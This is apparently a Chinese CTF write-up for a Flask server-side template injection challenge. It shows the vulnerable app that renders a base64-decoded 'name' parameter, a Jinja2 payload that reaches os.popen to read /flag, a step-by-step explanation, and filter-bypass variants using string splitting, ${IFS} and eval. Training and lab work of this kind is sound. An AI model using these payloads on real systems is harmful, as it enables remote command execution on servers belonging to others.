靶场地址:天狩CTF竞赛平台
进入靶场

进入发现页面存在代码,然后就是分析此代码了,整理一下
import base64
from flask import Flask, request, render_template_stringapp = Flask(__name__)
def decode_data(data):
"""Base64解码函数"""
return base64.b64decode(data).decode('utf-8')@app.route('/', methods=['GET', 'POST'])
def index():
# 根据请求方法获取name参数
if request.method == 'GET':
name = request.args.get('name')
elif request.method == 'POST':
name = request.form.get('name')
if name:
decoded_name = decode_data(name)
template = f'''Hello, {decoded_name}!''' # 使用f-string优化
return render_template_string(template)
else:
# 读取并返回当前文件内容
return open('./app.py', 'r').read()if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=False)
这是一个一个简单的Flask应用,涉及GET和POST请求处理,以及Base64解码,那么最主要的点在于此ssti模板注入通过参数name进行传递,那么也就是说通过url?name={{****}},并且传递的数值需要进行base64编码,如下所示

其中e3s3Kjd9fQ==为{{7*7}}的base64编码,那么接下来构造payload,然后进行base64编码即可,
payload:{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}
对于一些刚入门的伙伴,我会详细解释一下此payload的构造
self
含义:在Flask模板中,self 指向当前模板的上下文对象。
作用:作为入口点,访问Python对象的内部属性。
self.__init__
含义:访问 self 对象的 __init__ 方法(构造函数)。
目的:通过方法对象进入类的命名空间。
__init__.__globals__
含义:__globals__ 是Python函数的属性,返回函数所在模块的全局命名空间(字典)。
作用:获取当前模块的全局变量,包括所有导入的模块和内置函数。
__globals__.__builtins__
含义:__builtins__ 是Python中默认加载的内置模块,包含基础函数(如 open、__import__)和异常类型。
关键点:通过它调用 __import__ 函数来动态导入其他模块。
__import__("os")
作用:动态导入 os 模块(操作系统接口模块)。
popen("cat /flag")
功能:调用 os.popen() 执行系统命令 cat /flag。
说明:popen 会创建一个子进程执行命令,并返回一个文件对象用于读取输出。
read()
作用:读取 popen 返回的文件对象内容(即命令执行结果)。
此题目比较简单,没有过滤,如果有过滤的话,可以使用以下绕过
绕过 os 关键字:
{{ self.__init__.__globals__.__builtins__["__imp"+"ort__"]("o"+"s").popen("cat /flag").read() }}
绕过空格:
{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat${IFS}/flag").read() }}
编码绕过:
{{ self.__init__.__globals__.__builtins__.eval("__import__('os').system('ls')") }}
最终结果

好了,此题目比较简单,适合刚入门的,后续会继续更新
618

被折叠的 条评论
为什么被折叠?



